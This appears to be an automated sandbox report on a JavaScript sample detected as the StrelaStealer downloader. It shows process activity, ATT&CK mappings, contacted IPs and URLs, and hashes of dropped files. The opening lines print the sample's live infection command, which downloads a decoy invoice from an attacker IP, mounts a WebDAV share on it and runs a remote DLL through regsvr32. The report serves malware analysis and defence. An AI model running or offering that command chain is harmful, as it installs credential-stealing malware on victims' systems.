Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7222172992877722612.js	10%	Virustotal		Browse
7222172992877722612.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2203584529.000001B3E8DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2204968776.000001EE60FE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3443844764.000001EE61200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/%	net.exe, 00000007.00000002.2203584529.000001B3E8E1A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2203584529.000001B3E8E1A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2203584529.000001B3E8E0F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588604
Start date and time:	2025-01-11 03:02:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7222172992877722612.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 50.16.47.176, 4.175.87.197, 173.222.162.64, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:03:34	API Interceptor	20x Sleep call for process: powershell.exe modified
21:03:38	API Interceptor	1x Sleep call for process: net.exe modified
21:03:38	API Interceptor	2x Sleep call for process: svchost.exe modified
21:03:46	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263065335227571
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0a:9JZj5MiKNnNhoxun
MD5:	2CBC61AD0DEDAC4357BFABE16A26A8F6
SHA1:	34C0B2F64BDBA212F36ACD3A060E4AAEF30B6925
SHA-256:	BE3A8B251E11A06426F4FB44514AB5B3C39571138DCF0FA51402E48951716B95
SHA-512:	3F214D8A2B8EE6DF2CE51251BFA1BDEA3437D8EC7BFF6024D39916EC74F546FFBEC5CAA5819E355815BC49D9E453480D32C8C52EF0C36F57F06A14FF1CA172B6
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x3d2e390f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555491045814877
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	BD0B842EE4ED5366B6695FF018ECD39A
SHA1:	EB27AEFAD0F047A71C15A67FEEB86CF3BBCDF0D0
SHA-256:	666E602EA72500FE9A28568FBB6A2E8D0FC57F5FB70F64311DC90BC339773C28
SHA-512:	FB919EE6F1FB3C7887D7F6DF61A92D4BA15AC8BE8A2CDA42D948919D657CC36F3F61835E4DA96F1D5DDF0E44ECAACDA9645D99E14D80A0E24F983FCA21C3F149
Malicious:	false
Preview:	=.9.... .......7.......X\...;...{......................0.e......!...{?.&....}-.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................u.'....}7.....................&....}-..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07984105005364
Encrypted:	false
SSDEEP:	3:cCUYe0gx3rfNaAPaU1lWwnllXalluxmO+l/SNxOf:cCUzj5NDPaUb2gmOH
MD5:	D03B648E02558B51F903336B9BEC9DA6
SHA1:	C2AAB68D8A2AB4BDBFF0BD0628C5CCB82B140276
SHA-256:	40CB8356B601D02AD352C026AB70706C1E764DBDBC45471FB0C66234547D3F34
SHA-512:	DBDEBDB8E71BBFF221AF472D545204F5EADFE17BC1108A5B662CD6CD5084AA8EBA978FC48E237B05F72CEC8A75A7C7660BC11ADA44D61AC084828BD4110C3D94
Malicious:	false
Preview:	..i>.....................................;...{..&....}-..!...{?..........!...{?..!...{?..g...!...{?.....................&....}-.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.244160959139434
Encrypted:	false
SSDEEP:	6:iO4qA4q2PN72nKuAl9OmbnIFUtSqqS9Zmwsq4miFzkwON72nKuAl9OmbjLJ:7a4vVaHAahFUtmC/mx5OaHAaSJ
MD5:	507231FECCDD36370AB96D457DB3BB9A
SHA1:	4D5E48E61874812B35CA574670934D089DA3AA29
SHA-256:	C42C71BFF77B96A8EBBF52849D3D98AC97BB70AA1E8624B11313C29814C1CD5E
SHA-512:	C327405DAA4D1BDD5FE1E3F325B346D1E9909AA77046CCEF5A08E3A2046A27A4E032E73F7C3D92FC17447B1702149AECD4B073D28A045343EF487362BDC0263D
Malicious:	false
Preview:	2025/01/10-21:03:38.659 974 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:03:38.661 974 Recovering log #3.2025/01/10-21:03:38.662 974 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.244160959139434
Encrypted:	false
SSDEEP:	6:iO4qA4q2PN72nKuAl9OmbnIFUtSqqS9Zmwsq4miFzkwON72nKuAl9OmbjLJ:7a4vVaHAahFUtmC/mx5OaHAaSJ
MD5:	507231FECCDD36370AB96D457DB3BB9A
SHA1:	4D5E48E61874812B35CA574670934D089DA3AA29
SHA-256:	C42C71BFF77B96A8EBBF52849D3D98AC97BB70AA1E8624B11313C29814C1CD5E
SHA-512:	C327405DAA4D1BDD5FE1E3F325B346D1E9909AA77046CCEF5A08E3A2046A27A4E032E73F7C3D92FC17447B1702149AECD4B073D28A045343EF487362BDC0263D
Malicious:	false
Preview:	2025/01/10-21:03:38.659 974 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:03:38.661 974 Recovering log #3.2025/01/10-21:03:38.662 974 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.126985315206578
Encrypted:	false
SSDEEP:	6:iO4qpj+q2PN72nKuAl9Ombzo2jMGIFUtSqpcZmwsqpOQtVkwON72nKuAl9Ombzos:7evVaHAa8uFUtu/z5OaHAa8RJ
MD5:	26E19B06ED87C5197C11E0EC51B7D1CE
SHA1:	79101CFC7CEBA0A286704A49E5538DA82A9CCDF6
SHA-256:	0C198ACC12E06301F0FBEA41881357030C1B78BF7303926A37C1BE50C3675D3E
SHA-512:	CF45E810D4EA7265F4ECFFA34E508FD6EDEC06FF1F31CF5192E3DF3924483DB2AE13523430631A1362B5CF85A38D8485A67A227506D90309D44DFCD7186E1231
Malicious:	false
Preview:	2025/01/10-21:03:38.710 1358 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:03:38.711 1358 Recovering log #3.2025/01/10-21:03:38.712 1358 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.126985315206578
Encrypted:	false
SSDEEP:	6:iO4qpj+q2PN72nKuAl9Ombzo2jMGIFUtSqpcZmwsqpOQtVkwON72nKuAl9Ombzos:7evVaHAa8uFUtu/z5OaHAa8RJ
MD5:	26E19B06ED87C5197C11E0EC51B7D1CE
SHA1:	79101CFC7CEBA0A286704A49E5538DA82A9CCDF6
SHA-256:	0C198ACC12E06301F0FBEA41881357030C1B78BF7303926A37C1BE50C3675D3E
SHA-512:	CF45E810D4EA7265F4ECFFA34E508FD6EDEC06FF1F31CF5192E3DF3924483DB2AE13523430631A1362B5CF85A38D8485A67A227506D90309D44DFCD7186E1231
Malicious:	false
Preview:	2025/01/10-21:03:38.710 1358 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:03:38.711 1358 Recovering log #3.2025/01/10-21:03:38.712 1358 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6sBdOg2HPcaq3QYiubcP7E4T3y:Y2sRdsKdMH+3QYhbA7nby
MD5:	43A12ECE206B49F4C7C1F4638F68FCD1
SHA1:	2011FD9C553C7C5E82B66855F130582B3D5E39C6
SHA-256:	D8D18E34AC978C9FC60CF8D676571A5FD5BEAEC2B86330B91FE095234F834C1C
SHA-512:	A3EC87E06158740FF030F906FAD79163C17D6DD09DB8645327A2E2B73F14D583B8F2F2FC1AC66EAE2366E0DBC02225B7261330785BCEA3D067F5128DCDA2FB09
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121029943658","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125100},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a932f2ff-06db-4e2b-a926-dcf6f2023388.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6sBdOg2HPcaq3QYiubcP7E4T3y:Y2sRdsKdMH+3QYhbA7nby
MD5:	43A12ECE206B49F4C7C1F4638F68FCD1
SHA1:	2011FD9C553C7C5E82B66855F130582B3D5E39C6
SHA-256:	D8D18E34AC978C9FC60CF8D676571A5FD5BEAEC2B86330B91FE095234F834C1C
SHA-512:	A3EC87E06158740FF030F906FAD79163C17D6DD09DB8645327A2E2B73F14D583B8F2F2FC1AC66EAE2366E0DBC02225B7261330785BCEA3D067F5128DCDA2FB09
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121029943658","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125100},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251028172749673
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7G4jlI:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhe
MD5:	23138CC2537CCB78099D57F680A0CC95
SHA1:	ADF0A49760950B9094FCD03B4664F3F6C1C8349F
SHA-256:	3B17923B46152DF294AD19FFB6274282A24B3E19AB75DC3958CB4CB3213D57D8
SHA-512:	E5828625EAB6B4C370C6E74B9C6712C8B603D944A977ECB23EEA140723F4BC91BDCC3CD25867EFDF046098708C7C08544DEC77ADEBAC579F673E6AABE0500F4D
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.161963437639026
Encrypted:	false
SSDEEP:	6:iO4qtx2N+q2PN72nKuAl9OmbzNMxIFUtSqtSoHZZmwsqtHNFNVkwON72nKuAl9Ob:75fvVaHAa8jFUtso5/bz5OaHAa84J
MD5:	D2831764172EE16D2E7D56A95709B24B
SHA1:	45A33D43C879E752E15DB023ACA690DFB3F7484C
SHA-256:	9F7636428C792258A48609E1C620CB267825941A4697AB978C14B51AF713A8A1
SHA-512:	19B170685CACE90F8F33EA55F670406AE0201AA4AF66314204B62CC90042B8AE3DC3C968D84911822C0DF230358E7DBB4223944D9CEAEBE4E57A9945B714A9A0
Malicious:	false
Preview:	2025/01/10-21:03:39.044 1358 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:03:39.054 1358 Recovering log #3.2025/01/10-21:03:39.069 1358 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.161963437639026
Encrypted:	false
SSDEEP:	6:iO4qtx2N+q2PN72nKuAl9OmbzNMxIFUtSqtSoHZZmwsqtHNFNVkwON72nKuAl9Ob:75fvVaHAa8jFUtso5/bz5OaHAa84J
MD5:	D2831764172EE16D2E7D56A95709B24B
SHA1:	45A33D43C879E752E15DB023ACA690DFB3F7484C
SHA-256:	9F7636428C792258A48609E1C620CB267825941A4697AB978C14B51AF713A8A1
SHA-512:	19B170685CACE90F8F33EA55F670406AE0201AA4AF66314204B62CC90042B8AE3DC3C968D84911822C0DF230358E7DBB4223944D9CEAEBE4E57A9945B714A9A0
Malicious:	false
Preview:	2025/01/10-21:03:39.044 1358 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:03:39.054 1358 Recovering log #3.2025/01/10-21:03:39.069 1358 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444419931176641
Encrypted:	false
SSDEEP:	384:ye6ci5tET2s+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mqs3OazzU89UTTgUL
MD5:	07CB6B0A4DC089A101E356234258ABBB
SHA1:	2927C796BB397BA28B283F25980B23DD61C951A2
SHA-256:	F69210FB3B3F4D14CD6556F723D9AE77D131B14107B3D74C89765A68E1BA717A
SHA-512:	FDB7ADD3BA1158ABCBC45F4046BD2102B9ABF922B96158B2A41B6CD6EA7B7FE948378D9F01E33CEF4D668A88826320BB474C2B672553F1B4D1B21E82A70C0687
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7668059696494303
Encrypted:	false
SSDEEP:	48:7MRTJioyVUmioyhvoy1C7oy16oy1DTKOioy1noy1AYoy1Wioy1oioykioyBoy1nm:78TJuUmYgiZXjBihb9IVXEBodRBkS
MD5:	189AC1FA7F3F9C73FE9E2A292059CCEC
SHA1:	8B263D803CD68EA7069014061BA7457E4CA6BA19
SHA-256:	DF78AB3F4D26D9CC7BEE432A4DAF12D97EEFCC2EB986727D6E85DBD9D59BFD34
SHA-512:	814E0562078472CED56D329AD5308A2DB3046519B28BB2BB10F9A2A40BC856CA47BC7FE10A18249E9FA906348ECB9FE6C570A7EE766F3B2E5992D707BA05A556
Malicious:	false
Preview:	.... .c.......(................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
